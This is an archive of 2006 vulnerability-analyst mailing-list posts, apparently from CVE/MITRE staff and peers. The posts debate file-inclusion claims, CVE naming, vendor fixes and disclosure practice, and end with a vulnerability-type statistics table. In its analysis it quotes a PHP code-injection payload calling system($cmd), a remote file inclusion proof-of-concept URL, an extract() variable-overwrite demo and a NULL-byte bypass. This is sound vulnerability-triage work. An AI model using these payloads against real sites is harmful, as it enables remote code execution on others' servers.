From heinbockel at mitre.org  Fri Sep  1 14:08:59 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Fri, 1 Sep 2006 14:08:59 -0400
Subject: [VIM] ModuleBased CMS file include - CVE dispute
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC01201708@IMCSRV5.MITRE.ORG>

Researcher: ScorpinO
BUGTRAQ:20060829 ModuleBased CMS alfa 1 Multiple Remote File Inclusion
http://www.securityfocus.com/archive/1/archive/1/444897/100/0/threaded

Provides several code snippets that show an include with the
$_SERVER[DOCUMENT_ROOT] parameter, including:

/admin/avatar.php:
<?php
  include_once($_SERVER[DOCUMENT_ROOT]."/libs/profile.class.php");
  include($_SERVER[DOCUMENT_ROOT]."/libs/config.php");
  ...

with the POC: htt
p://www.example.com/[mbcms]/admin/avatar.php?_SERVER=[evil script]


In PHP it is not possible to redeclare the _SERVER global array or the
_SERVER[DOCUMENT_ROOT] index. Hence, there is no possible way for an
attacker
to modify any of the variables inside the claimed include statements.

A download and verification of the code shows the php is as presented
by
the researcher. So no chance of a copy/paste error...


William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615

From coley at mitre.org  Fri Sep  1 16:05:17 2006
From: coley at mitre.org (Steven M. Christey)
Date: Fri, 1 Sep 2006 16:05:17 -0400 (EDT)
Subject: [VIM] membrepass PHP execution issue probably isn't file inclusion
Message-ID: <200609012005.k81K5HVW009471@faron.mitre.org>


Ref:

BUGTRAQ:20060831 Membrepass v1.5 Php code execution, Xss, Sql Injection
URL:http://www.securityfocus.com/archive/1/archive/1/444845/100/0/threaded


This is being referred to as file inclusion by some people, but it's
what CVE is calling "direct static code injection" (though I'll
probably drop the "direct" soon).

That's the term we use for when a product accepts user input and
inserts it directly into an executable PHP file that the product uses,
normally for configuration variables.

The relevant exploit from the original disclosure is:

  GET /include/change.php
      DATA ainfo="; $cmd = $_GET['cmd']; system($cmd); exit;

The ainfo parameter isn't getting a URL, so that should be a tip that
it's not file inclusion.

Then you have a direct request:

  http://.../include/variable.php?cmd=dir POST

... which is probably the file that the code is being inserted into.


- Steve

From coley at linus.mitre.org  Fri Sep  1 18:45:01 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 1 Sep 2006 18:45:01 -0400 (EDT)
Subject: [VIM] ModuleBased CMS file include - CVE dispute
In-Reply-To: <224FBC6B814DBD4E9B9E293BE33A10DC01201708@IMCSRV5.MITRE.ORG>
References: <224FBC6B814DBD4E9B9E293BE33A10DC01201708@IMCSRV5.MITRE.ORG>
Message-ID: <Pine.GSO.4.51.0609011830570.14568@faron.mitre.org>


> In PHP it is not possible to redeclare the _SERVER global array or the
> _SERVER[DOCUMENT_ROOT] index. Hence, there is no possible way for an
> attacker to modify any of the variables inside the claimed include
> statements.

This isn't entirely the case, since in my PHP 4.3.8, if the program runs
an "extract", then even $_SERVER can be modified.  I think Stefan Esser
talks about this phenomenon in his global variable overwrite white paper
but forget whether later PHP versions address this.

The original Bugtraq post still looks wrong, because the exploits are
direct requests and there's no extract or other variable modification code
that happens before the $_SERVER[DOCUMENT_ROOT] is referenced.

But in the general case, we can't simply assume that $_SERVER is not
modifiable.

Below is some example vulnerable code.  If you call:

   program.php?_SERVER[DOCUMENT_ROOT]=aaa

then you'll see that BEFORE is still set to a fixed document root, but the
extract overwrites it - at least in PHP 4.3.8.


- Steve


<?php
  echo "BEFORE: ";
  echo "$_SERVER[DOCUMENT_ROOT]";
  echo "<p>\n";
  extract($_GET);
  echo "AFTER: ";
  echo "$_SERVER[DOCUMENT_ROOT]";
?>


From jericho at attrition.org  Mon Sep  4 02:02:23 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 4 Sep 2006 02:02:23 -0400 (EDT)
Subject: [VIM] product name consistancy
Message-ID: <Pine.LNX.4.64.0609040201020.9483@forced.attrition.org>


How are we expected to maintain it, when the vendor doesn't =(

http://www.nicecoder.com/

INDEXU 5.2.0 (new release)

Reasons why indexu is the best choice for link directory script

Indexu 5.2.0 Released

--

So, INDEXU, Indexu, or indexu?

From jericho at attrition.org  Tue Sep  5 13:32:01 2006
From: jericho at attrition.org (security curmudgeon)
Date: Tue, 5 Sep 2006 13:32:01 -0400 (EDT)
Subject: [VIM] "Threatens legal action."
Message-ID: <Pine.LNX.4.64.0609051331050.412@forced.attrition.org>


http://milw0rm.com/exploits/2296

| TIMELINE  |
+-----------------------------------------------------------------+
| 9/2/06 - Vendor Notified.  |
| 9/2/06 - Vendor Replied. Threatens legal action.  |
| 9/4/06 - Exploit Released with no details to vendor.            |


No e-mail address in this, but i'd love to get a hold of the mail from the 
vendor..

From heinbockel at mitre.org  Wed Sep  6 11:33:52 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Wed, 6 Sep 2006 11:33:52 -0400
Subject: [VIM] ZoneX 1.0.3 File Inclusion - CVE-2006-4036
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC01201AA5@IMCSRV5.MITRE.ORG>


In a BUGTRAQ post by maric_sasa:
Re: ZoneX 1.0.3 - Publishers Gold Edition Remote File Inclusion
Vulnerability
http://www.securityfocus.com/archive/1/archive/1/444901/100/0/threaded

"This vulnerability is not that dangerous because, firstly, if you want
to exploit it, you must have exact file tree and correct name of the
malicious script because that variable is never used alone but always
in concatanation with script name and generic extension and, secondly,
if site has register_globals set to OFF, you cannot use this exploit at
all..."

Appears to be a dispute as to the severity of the issue. Looking into
the source code of the includes/usercp_register.php file (lines 43-49):

> include($phpbb_root_path . 'newsletter/scripts/subscriptions.'
.$phpEx);
> include($phpbb_root_path .
'contests/vote_contest/vote_contest_agreement.' .$phpEx);
> if ( !defined('IN_PHPBB') )
> {
>     die("Hacking attempt");
>     exit;
> }

Whoops! The IN_PHPBB check is too late, which allows access to the
include statements
and the phpbb_root_path variable is still vulnerable... This person is
apparently not
aware that a NULL byte (%00) can be appended to the phpbb_root_path
parameter in order to
avoid the "script name and generic extension".

Nothing to see here, move along...


William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615

From coley at mitre.org  Wed Sep  6 20:32:51 2006
From: coley at mitre.org (Steven M. Christey)
Date: Wed, 6 Sep 2006 20:32:51 -0400 (EDT)
Subject: [VIM] Unrestricted file upload vulnerabilities
Message-ID: <200609070032.k870Wptu004205@faron.mitre.org>


FYI, we're seeing enough issues where someone can upload a file with
an executable extension like .php, then access the file to execute
code, that CVE is going to start calling them "Unrestricted file
upload" issues.  Heck, it's even consistent with what we call it in
CWE :) Suggestions for other terms welcome... suppose I should ask the
web app security people what they call this...

- Steve

From coley at linus.mitre.org  Fri Sep  8 16:45:54 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 8 Sep 2006 16:45:54 -0400 (EDT)
Subject: [VIM] Vendor ACK for CVE-2006-2117 (Thyme)
Message-ID: <Pine.GSO.4.51.0609081645150.9628@faron.mitre.org>



---------- Forwarded message ----------
Date: Fri, 8 Sep 2006 16:17:48 -0400
From: Ian Moore
To: cve at mitre.org
Subject: CVE-2006-2117

Hello,

The bug referenced in the subject is no longer present in Thyme. Please
update your listing. Do not hesitate to contact me if you have any
questions at all.

Thank you

-- 
--------------------------
Ian Moore
http://www.extrosoft.com

From jericho at attrition.org  Fri Sep  8 16:52:35 2006
From: jericho at attrition.org (security curmudgeon)
Date: Fri, 8 Sep 2006 16:52:35 -0400 (EDT)
Subject: [VIM] Vendor ACK for CVE-2006-2117 (Thyme)
In-Reply-To: <Pine.GSO.4.51.0609081645150.9628@faron.mitre.org>
References: <Pine.GSO.4.51.0609081645150.9628@faron.mitre.org>
Message-ID: <Pine.LNX.4.64.0609081651390.31752@forced.attrition.org>


Since it isn't readily apparent on the vendor site, how is it fixed.. 
patch, upgrade, something else? 

More and more we're seeing researchers test old versions of software. If 
someone finds a vuln in 1.3, we can't just assume 1.4 is the fix by any 
means.

: ---------- Forwarded message ----------
: Date: Fri, 8 Sep 2006 16:17:48 -0400
: From: Ian Moore
: To: cve at mitre.org
: Subject: CVE-2006-2117
: 
: Hello,
: 
: The bug referenced in the subject is no longer present in Thyme. Please
: update your listing. Do not hesitate to contact me if you have any
: questions at all.
: 
: Thank you
: 
: -- 
: --------------------------
: Ian Moore
: http://www.extrosoft.com
: 

From coley at linus.mitre.org  Fri Sep  8 17:26:25 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Fri, 8 Sep 2006 17:26:25 -0400 (EDT)
Subject: [VIM] CVE-2006-2117 (fwd)
Message-ID: <Pine.GSO.4.51.0609081726060.9628@faron.mitre.org>


already got you covered, Jericho ;-)

---------- Forwarded message ----------
Date: Fri, 8 Sep 2006 16:51:06 -0400 (EDT)
From: Steven M. Christey <coley at rcf-smtp.mitre.org>
To: Ian Moore
Cc: cve at mitre.org
Subject: Re: CVE-2006-2117


Hello,

We have noted the fix and forwarded your message to other vulnerability
information sources so that they can update their records as well.

Do you have a link to a specific announcement on your page?  I couldn't
find one.  Also, which versions were fixed?


Thank you,
Steve Christey
CVE Editor


On Fri, 8 Sep 2006, Ian Moore wrote:

> Hello,
>
> The bug referenced in the subject is no longer present in Thyme. Please
> update your listing. Do not hesitate to contact me if you have any
> questions at all.
>
> Thank you
>
> --
> --------------------------
> Ian Moore
> http://www.extrosoft.com
>

From jericho at attrition.org  Mon Sep 11 02:10:23 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 11 Sep 2006 02:10:23 -0400 (EDT)
Subject: [VIM] Savant2 oddity
Message-ID: <Pine.LNX.4.64.0609110156050.21301@forced.attrition.org>


http://archives.neohapsis.com/archives/bugtraq/2006-07/0370.html

>>> Script : Savant2

>>> Site : www.phpsavant.com

/**
* Base plugin class.
*/
global $mosConfig_absolute_path;
require_once 
$mosConfig_absolute_path.'/components/com_mtree/Savant2/Plugin.php';

/**


--

What am I missing here..

wget http://phpsavant.com/Savant2-2.4.3.tgz
tar xfz Savant2-2.4.3.tgz
cd Savant2-2.4.3
find . -type f -exec grep -H -i mosConfig {} \;

to verify my find syntax works:

forced /tmp/Savant2-2.4.3# find . -type f -exec grep -H -i eichorn {} \;
./Savant2/PHPCodeAnalyzer.php:* @author Joshua Eichorn <josh at bluga.net>
./Savant2/PHPCodeAnalyzer.php:* @copyright      Joshua Eichorn 2004
./Savant2/PHPCodeAnalyzer.php:* @copyright      Joshua Eichorn 2004
./Savant2/PHPCodeAnalyzer.php:* @author Joshua Eichorn <josh at bluga.net>
forced /tmp/Savant2-2.4.3#


So it appears there are zero occurances of the 'mosConfig_absolute_path' 
variable in the deafult Savant2 package? But, if you search Google for the 
first file listed as vulnerable (Savant2_Compiler_basic.php), you get 
this:

http://phpsavant.com/api/Savant2/Savant2/_Savant2_Savant2_Compiler_basic_php.html

forced /tmp/Savant2-2.4.3# find . -type f -name \*compiler\* -print
forced /tmp/Savant2-2.4.3#

Subsequent google searches suggest that all of this is part of the Savant2 
package though. Ideas?

From josh at ramat.cc  Mon Sep 11 05:28:08 2006
From: josh at ramat.cc (Josh Zlatin)
Date: Mon, 11 Sep 2006 05:28:08 -0400 (EDT)
Subject: [VIM] Savant2 oddity
In-Reply-To: <Pine.LNX.4.64.0609110156050.21301@forced.attrition.org>
References: <Pine.LNX.4.64.0609110156050.21301@forced.attrition.org>
Message-ID: <Pine.LNX.4.61.0609110504050.20183@zur>

On Mon, 11 Sep 2006, security curmudgeon wrote:

>
> http://archives.neohapsis.com/archives/bugtraq/2006-07/0370.html
>
>>>> Script : Savant2
>
>>>> Site : www.phpsavant.com
>
> /**
> * Base plugin class.
> */
> global $mosConfig_absolute_path;
> require_once 
> $mosConfig_absolute_path.'/components/com_mtree/Savant2/Plugin.php';
>
> /**
>
>
> --
>
> What am I missing here..

I am not sure yet what the relationship between Joomla and Savant2 is,
but it seems that the issue stems from the com_mtree component. If you
google "com_mtree component" take a look at:
http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,102/Itemid,35/

download and try to grep again.

> http://phpsavant.com/api/Savant2/Savant2/_Savant2_Savant2_Compiler_basic_php.html
>
> forced /tmp/Savant2-2.4.3# find . -type f -name \*compiler\* -print
> forced /tmp/Savant2-2.4.3#

Try:
josh at lab1:~/savant2$ find . -type f -name \*Compiler\* -print
./Savant2-2.4.3/Savant2/Compiler.php
./Savant2-2.4.3/Savant2/Savant2_Compiler_basic.php

--
  - Josh

From theall at tenablesecurity.com  Mon Sep 11 06:51:38 2006
From: theall at tenablesecurity.com (George A. Theall)
Date: Mon, 11 Sep 2006 06:51:38 -0400
Subject: [VIM] Savant2 oddity
In-Reply-To: <Pine.LNX.4.64.0609110156050.21301@forced.attrition.org>
References: <Pine.LNX.4.64.0609110156050.21301@forced.attrition.org>
Message-ID: <45053FBA.1040408@tenablesecurity.com>

security curmudgeon wrote:

> http://archives.neohapsis.com/archives/bugtraq/2006-07/0370.html
> 
>>>> Script : Savant2
> 
>>>> Site : www.phpsavant.com

Botan was wrong. It's actually Mosets Tree, 
<http://www.mosets.com/tree/>, a commercial Joomla component for 
Yahoo-style directories that integrates Savant2; ie:

   http://forum.mosets.com/showthread.php?t=3625


George
-- 
theall at tenablesecurity.com

From jericho at attrition.org  Mon Sep 11 13:19:47 2006
From: jericho at attrition.org (security curmudgeon)
Date: Mon, 11 Sep 2006 13:19:47 -0400 (EDT)
Subject: [VIM] Savant2 oddity
In-Reply-To: <Pine.LNX.4.61.0609110504050.20183@zur>
References: <Pine.LNX.4.64.0609110156050.21301@forced.attrition.org>
	<Pine.LNX.4.61.0609110504050.20183@zur>
Message-ID: <Pine.LNX.4.64.0609111312010.21301@forced.attrition.org>


: > What am I missing here..
: 
: I am not sure yet what the relationship between Joomla and Savant2 is,
: but it seems that the issue stems from the com_mtree component. If you
: google "com_mtree component" take a look at:
: http://extensions.joomla.org/component/option,com_mtree/task,viewlink/link_id,102/Itemid,35/
: 
: download and try to grep again.

I saw the com_mtree references last night, but didn't see the download 
link.

The above URL downloads "com_joomlaxplorer_1.4.0.tar.gz", which has 
several occurances of mosConfig_absolute_path, but not in files with 
'Savant' in the name.

./.config/conf.php
./joomlaxplorer.php
./.include/fun_archive.php
./.include/fun_system_info.php
./.include/fun_view.php
./joomlaxplorer.init.php
./CHANGELOG.txt
./configuration.jx.php
./admin.joomlaxplorer.php

>From the CHANGELOG.txt, potentially of interest:

--- version 1.3.2 released ---
- fixed various problems (create file/directory, archiving, download) with 
$mosConfig_absolute_path

--- version 1.3.0 released ---
- the home directory is now ONE LEVEL ABOVE the joomla/mambo directory.
        If you have joomla inside 
        /public_html/
        You will be able to browse to the root directory
        /
        ! Check if you want this behaviour. When not, see 
/.config/conf.php line 41....


: > http://phpsavant.com/api/Savant2/Savant2/_Savant2_Savant2_Compiler_basic_php.html
: > 
: > forced /tmp/Savant2-2.4.3# find . -type f -name \*compiler\* -print
: > forced /tmp/Savant2-2.4.3#
: 
: Try:
: josh at lab1:~/savant2$ find . -type f -name \*Compiler\* -print
: ./Savant2-2.4.3/Savant2/Compiler.php
: ./Savant2-2.4.3/Savant2/Savant2_Compiler_basic.php

oops =)


From smoore at securityglobal.net  Tue Sep 12 11:07:54 2006
From: smoore at securityglobal.net (Stuart Moore)
Date: Tue, 12 Sep 2006 11:07:54 -0400
Subject: [VIM] "Web Server Creator" vuln dup
Message-ID: <4506CD4A.5070601@securityglobal.net>

If you haven't already caught this, the vuln in Web Server Creator 
recently reported by XORON is a duplicate of a report by Frog Man in 
November 2002 (BID 6251, SECTRACK 1005712).

BTW, I couldn't find a CVE number for the original vuln.

Stuart


From coley at mitre.org  Tue Sep 12 11:34:22 2006
From: coley at mitre.org (Steven M. Christey)
Date: Tue, 12 Sep 2006 11:34:22 -0400 (EDT)
Subject: [VIM] Source VERIFY of MyABraCaDaWeb file inclusion
Message-ID: <200609121534.k8CFYMwx021017@faron.mitre.org>


Ref:  http://www.milw0rm.com/exploits/2335

Using the vendor URL provided in the origin disclosure, I got version
1.0.3, which is dated from March 2003 by the way.  In index.php, we
have source code such as:

	DEFINE(_base, "./");						// Base du script
	DEFINE(_classPath, $base."classes/");		// Chemin des classes
	DEFINE(_functionPath, $base."fonctions/");	// Chemin des fonctions
    DEFINE(_imagePath, $base."images/");
...
	include (_classPath."vtemplate.class.php");
	include (_classPath."mysql.class.php");
...
	include (_functionPath."main.php");

Other variables are defined and used in include statements, but they
are all built from $base.

Looks like the developer didn't quite do what they intended... _base
is not used anywhere else in index.php.

- Steve

From coley at linus.mitre.org  Tue Sep 12 13:32:28 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 12 Sep 2006 13:32:28 -0400 (EDT)
Subject: [VIM] "Web Server Creator" vuln dup
In-Reply-To: <4506CD4A.5070601@securityglobal.net>
References: <4506CD4A.5070601@securityglobal.net>
Message-ID: <Pine.GSO.4.51.0609121331350.25473@faron.mitre.org>


> BTW, I couldn't find a CVE number for the original vuln.

We just created one as a result of the rediscovery; see below.

- Steve

======================================================
Name: CVE-2002-2217
Status: Candidate
URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2217
Reference: MISC:http://www.frog-man.org/tutos/WSC-WebPortal.txt
Reference: MISC:http://www.milw0rm.com/exploits/2318
Reference: BID:19896
Reference: URL:http://www.securityfocus.com/bid/19896
Reference: SECTRACK:1005712
Reference: URL:http://securitytracker.com/id?1005712
Reference: XF:webservercreator-customize-file-include(28815)
Reference: URL:http://xforce.iss.net/xforce/xfdb/28815

Multiple PHP remote file inclusion vulnerabilities in Web Server
Creator - Web Portal (WSC-WebPortal) 0.1 allow remote attackers to
execute arbitrary PHP code via a URL in the (1) l parameter to
customize.php or the (2) pg parameter to index.php.



From James.Williams at ca.com  Tue Sep 12 20:39:04 2006
From: James.Williams at ca.com (Williams, James K)
Date: Tue, 12 Sep 2006 20:39:04 -0400
Subject: [VIM] Microsoft and FairUse4WM
Message-ID: <649CDCB56C88AA458EFF2CBF494B62040156561D@USILMS12.ca.com>


Do you guys consider this to be a vulnerability issue?  MS apparently
doesn't.

Microsoft and FairUse4WM
http://www.schneier.com/blog/archives/2006/09/microsoft_and_f.html
http://www.techdirt.com/articles/20060907/114225.shtml

Regards,                                                           
ken

From coley at linus.mitre.org  Tue Sep 12 21:11:50 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Tue, 12 Sep 2006 21:11:50 -0400 (EDT)
Subject: [VIM] Microsoft and FairUse4WM
In-Reply-To: <649CDCB56C88AA458EFF2CBF494B62040156561D@USILMS12.ca.com>
References: <649CDCB56C88AA458EFF2CBF494B62040156561D@USILMS12.ca.com>
Message-ID: <Pine.GSO.4.51.0609122102060.25473@faron.mitre.org>


I've been kind of mixed about these sorts of issues.  It's definitely a
vulnerability in my mind; a protection mechanism can be defeated,
independent of whether or not it's possible to develop a "perfectly
secure" mechanism.

The issue is one of audience.  It's not a vulnerability from the
consumer's perspective - or at least, not the typical consumer, since
obviously the media companies and artists are the consumers in this case.
With CVE (and the rest of us to one degree or another) having been
"regular-consumer-focused," this would on first blush seem to be out of
typical scope, just like site-specific issues.

The Sony "rootkit" stuff from last year was different, because it directly
affected the security of regular-consumer machines.  I still have to think
on this one, though.  An interesting border case.

On Tue, 12 Sep 2006, Williams, James K wrote:

>
> Do you guys consider this to be a vulnerability issue?  MS apparently
> doesn't.
>
> Microsoft and FairUse4WM
> http://www.schneier.com/blog/archives/2006/09/microsoft_and_f.html
> http://www.techdirt.com/articles/20060907/114225.shtml
>
> Regards,
> ken
>
>

From heinbockel at mitre.org  Thu Sep 14 10:33:52 2006
From: heinbockel at mitre.org (Heinbockel, Bill)
Date: Thu, 14 Sep 2006 10:33:52 -0400
Subject: [VIM] Responsible Disclosure Article
Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC01288B83@IMCSRV5.MITRE.ORG>

Continuing the discussion surrounding vulnerability disclosure
from the roundtable at Blackhat, Security Focus has an article
with feedback from vendors and some researchers (Litchfield, HDM).

"Disclosure survey" - Federico Biancuzzi
http://www.securityfocus.com/columnists/415

Generally, I agree with the comments of Michal Zalewski.
In an ideal world, responsible disclosure is the best route. However
for responsible disclosure to work, requires support from both the
researcher and the vendor.

My two biggest problems concerning practical responsible disclosure
are:

1. Vendors need time to find, address, and fix the problem. During this
period all systems all vulnerable, which seems to be alright assuming
the
researcher is the only one who knows about the vulnerability. So, how
often do you think this assumption is false? Let's take the most recent
Apple advisory for QuickTime (APPLE-SA-2006-05-11) - for CVE-2006-1249
concerning the integer overflow in FlashPix images, Apple credits two
different, probably independent researchers. If two people reported to
Apple how can we be certain that no one else is already active
exploiting
it?

2. System administrators need information in order to secure and patch
their systems. With the most recent rash of Microsoft Office 0-days,
system admins can respond with notifying their users and blocking
attachments at the e-mail server. While this will not eliminate the
threat,
it will cut the chances of exploitation. Furthermore, when patching
systems, administrators need to know the patch details to determine
their
response. Is it critical and must be deployed immediately? Are we even
affected by this? In the case of Oracle CPUs, DBAs are left empty
handed.
Database regression testing is costly and could be reduced if the
vendor
kept up their end of responsible disclosures.



William Heinbockel
Infosec Engineer
The MITRE Corporation
202 Burlington Rd. MS S145
Bedford, MA 01730
heinbockel at mitre.org
781-271-2615

From coley at linus.mitre.org  Thu Sep 14 11:12:20 2006
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 14 Sep 2006 11:12:20 -0400 (EDT)
Subject: [VIM] Vulnerability Type Distribution in CVE
Message-ID: <Pine.GSO.4.51.0609141110320.5015@faron.mitre.org>



Vulnerability Type Distribution in CVE
--------------------------------------
Date: September 14, 2006

FYI all, here's a working draft of the distribution of vulnerability
types within CVE.  I'll probably be writing something a little more
formal in the near future, but I wanted to get this out and in some
sufficiently public forum for the time being.  This was prompted by my
colleague Bob Martin's comments during "The Year of the web
application: Hack & Data from the Front lines" panel at the 5th Annual
Cyber Security Executive Summit in New York City on September 13.  As
many of you know, this general work has begun to morph into our Common
Weakness Enumeration (CWE).

If your favorite issue isn't in this list, then it probably hasn't
been seen often enough yet.  At some point in the future, as part of
CWE, we might wind up conducting a much more detailed classification.

=== KEY RESULT: RISE OF WEB APPLICATION VULNERABILITIES ===

One of the key results is the rise of web application vulnerabilities.

XSS has become the number 1 vulnerability of all time, at least in
CVE.

Buffer overflows were number 1 year after year, but that changed in
2005 with the rise of vulnerabilities that are found in web
applications, including XSS and SQL injection (although SQL injection
is not limited just to web apps).  And in fact, buffer overflows are
only #4 for 2006 so far.  There are probably several factors in this
rise:

1) The most basic data manipulations for these vulnerabilities are
   very simple to perform, e.g. "'" for SQL injection and
   "<script>alert('hi')</script>" for XSS.

2) There is a plethora of web applications that are freely available.
   Much of the code is alpha or beta, written by inexperienced
   programmers with easy-to-learn languages such as PHP.
   Consequently, it is very easy for beginning researchers to find new
   vulnerabilities in bad software.  I call these "fish-in-a-barrel"
   applications, because analyzing them is as easy as shooting fish in
   a barrel.

3) XSS, despite popular opinion, has many subtleties and variants, so
   even solid applications can have flaws in them (especially if you
   consider non-standard browser behaviors that try to "fix" malformed
   HTML that slips by filtering mechanisms).  Also, potentially every
   single input could be an XSS vector, which does not occur with
   other vulnerability types.  Finally, until recently, the PHP
   interpreter had a vulnerability in which it did not quote error
   messages, but many researchers only reported the surface-level
   "resultant" XSS instead of figuring out whether there was a
   different "primary" vulnerability that led to the error.

4) I'm not completely sure, but there is some evidence that over the
   past couple of years, web defacers have taken an interest in
   performing and publishing their own research.  This is probably due
   to the ease of finding vulnerabilities, combined with the presence
   of high-risk vulnerabilities such as PHP file inclusion, along with
   powerful backdoor code (written in PHP) that can be easily
   installed.

===== OTHER INTERESTING RESULTS =====

In 2006, the top 5 vulnerability types are responsible for about 65%
of all CVEs.

PHP remote file inclusion has been steadily gaining ground since 2001,
enough so that at this point in 2006, it's number 3.

Over the years, there has been a noticeable decline in shell
metacharacters, symbolic link following, and directory traversal.

Information leaks are fairly high.  There are 2 main reasons:
"information leak" is a fairly abstract class (see CWE for many
instances), and when an error message includes a full path, that is
usually categorized as an information leak.

The inability to handle malformed inputs, which usually leads to a
crash or hang, is also a fairly abstract class.  Malformed-input
vulnerabilities have not been studied as closely as injection
vulnerabilities, and many vulnerability reports don't specify how the
input was malformed.  There are likely cases where the researcher has
accidentally triggered another vulnerability, but didn't do any
diagnosis to really figure it out.

As the percentage of buffer overflows has declined, we have seen an
increase in related vulnerability types, including integer overflows,
signedness errors, and double frees.  These are still very
low-percentage, probably due to their relative newness and difficulty
of detection.

Other interesting web application vulnerabilities are webroot (storage
of sensitive files under the web document root), form-field (web
parameter tampering), upload of files with executable extensions
(e.g. file.php.gif), eval injection, and Cross-Site Request Forgery
(CSRF).

===== WEB PAGE - COLOR KEY =====

RED: a top 10 for that year

GREEN: during that year, the vulnerability's rank was at least 5
points BELOW average

YELLOW: the vulnerability's rank was at least 5 points ABOVE average

So, green on the left indicates vulns with RISING popularity, as will
yellow on the right.  Green on the right indicates vulns with FALLING
popularity, as will yellow on the left.

== NOTES ON POTENTIAL BIAS ==

2003's issues have 20% with vulns that are "not specified" by the CVE
analyst, which is inconsistent with stats from other years.  I
reviewed many of these vulns, and they are type "other."  Why such a
radical difference?  Since CVE is less complete in 2003 than for other
years, we probably focused more on priority issues than random
software.  This is just a guess, though.  I would like to address
CVE's 2003 gap at some point in the future.

Some vulnerability types are probably under-represented due to
classification difficulty.  For example, the "form-field" type (web
parameter tampering) might occasionally get classified as an
authentication error, depending on how the researcher reports the
issue.

Anyway, below are the stats in plaintext, and hopefully I've also
remembered to attach the HTML.


=======================================================================
=======================================================================

                         TOTAL        2001        2002        2003        2004        2005        2006
                        (16192)      (1434)      (2138)      (1173)      (2534)      (4538)      (4375)
                      ----------  ----------  ----------  ----------  ----------  ----------  ----------
[ 1] XSS              13.9% ( 1)  02.2% (11)  08.7% ( 2)  07.5% ( 2)  10.9% ( 2)  16.0% ( 1)  21.5% ( 1)
[ 2] buf              13.3% ( 2)  19.5% ( 1)  20.3% ( 1)  22.5% ( 1)  15.4% ( 1)  09.8% ( 3)  07.9% ( 4)
[ 3] sql-inject       08.7% ( 3)  00.4% (28)  01.8% (12)  03.0% ( 4)  05.5% ( 3)  12.9% ( 2)  14.0% ( 2)
[ 4] dot              04.7% ( 4)  08.9% ( 2)  05.1% ( 3)  02.9% ( 5)  04.1% ( 4)  04.3% ( 4)  04.4% ( 5)
[ 5] php-include      03.5% ( 5)  00.1% (32)  00.3% (30)  00.8% (16)  01.4% (10)  02.1% ( 6)  09.5% ( 3)
[ 6] infoleak         03.3% ( 6)  02.6% ( 9)  04.2% ( 5)  02.6% ( 7)  03.7% ( 5)  03.9% ( 5)  02.6% ( 6)
[ 7] dos-malform      02.9% ( 7)  04.8% ( 3)  05.1% ( 4)  02.5% ( 8)  03.4% ( 6)  01.8% ( 8)  02.0% ( 7)
[ 8] link             02.0% ( 8)  04.5% ( 4)  02.1% ( 9)  03.5% ( 3)  02.8% ( 7)  01.9% ( 7)  00.5% (16)
[ 9] format-string    01.8% ( 9)  03.2% ( 7)  01.8% (10)  02.7% ( 6)  02.4% ( 8)  01.7% ( 9)  01.0% (10)
[10] crypt            01.6% (10)  03.8% ( 5)  02.7% ( 6)  01.5% ( 9)  00.9% (16)  01.5% (10)  00.9% (13)
[11] priv             01.4% (11)  02.5% (10)  02.2% ( 8)  01.0% (12)  01.3% (11)  01.5% (11)  00.9% (12)
[12] metachar         01.3% (12)  03.8% ( 6)  02.6% ( 7)  00.7% (17)  01.0% (14)  01.3% (12)  00.3% (21)
[13] perm             01.3% (13)  02.7% ( 8)  01.8% (11)  01.3% (11)  00.9% (15)  01.1% (13)  01.1% ( 9)
[14] int-overflow     01.0% (14)  00.1% (30)  00.4% (26)  01.4% (10)  01.9% ( 9)  00.8% (14)  01.2% ( 8)
[15] dos-flood        00.8% (15)  02.0% (12)  01.7% (13)  00.5% (19)  01.2% (12)  00.2% (27)  00.4% (17)
[16] pass             00.8% (16)  01.1% (17)  01.3% (15)  00.2% (26)  01.1% (13)  00.8% (15)  00.4% (18)
[17] auth             00.8% (17)  01.5% (13)  01.3% (14)  00.5% (20)  00.7% (17)  00.5% (19)  00.7% (14)
[18] webroot          00.5% (18)  00.1% (29)  00.2% (31)  00.3% (25)  00.2% (29)  00.7% (16)  00.9% (11)
[19] form-field       00.5% (19)  00.7% (23)  00.8% (17)  00.5% (21)  00.2% (25)  00.4% (20)  00.5% (15)
[20] relpath          00.4% (20)  00.8% (22)  00.3% (29)  00.9% (14)  00.6% (18)  00.3% (23)  00.3% (20)
[21] race             00.4% (21)  00.5% (26)  00.4% (22)  00.6% (18)  00.4% (21)  00.6% (17)  00.3% (24)
[22] memleak          00.4% (22)  01.1% (18)  00.2% (32)  00.4% (22)  00.5% (19)  00.3% (22)  00.2% (26)
[23] msdos-device     00.4% (23)  01.0% (20)  00.6% (19)  00.9% (13)  00.2% (24)  00.2% (28)  00.0% (34)
[24] crlf             00.3% (24)  00.0%  N/A  00.2% (33)  00.1% (31)  00.5% (20)  00.4% (21)  00.3% (19)
[25] default          00.3% (26)  01.1% (16)  00.7% (18)  00.1% (32)  00.2% (26)  00.1% (33)  00.1% (29)
[26] spoof            00.3% (25)  01.0% (19)  00.3% (28)  00.1% (29)  00.1% (33)  00.2% (25)  00.3% (25)
[27] sandbox          00.3% (27)  01.2% (15)  01.0% (16)  00.0%  N/A  00.2% (31)  00.0% (34)  00.0%  N/A
[28] rand             00.3% (28)  01.2% (14)  00.6% (20)  00.3% (24)  00.2% (32)  00.0% (35)  00.2% (27)
[29] upload           00.3% (29)  00.0%  N/A  00.0% (36)  00.1% (30)  00.2% (27)  00.5% (18)  00.3% (22)
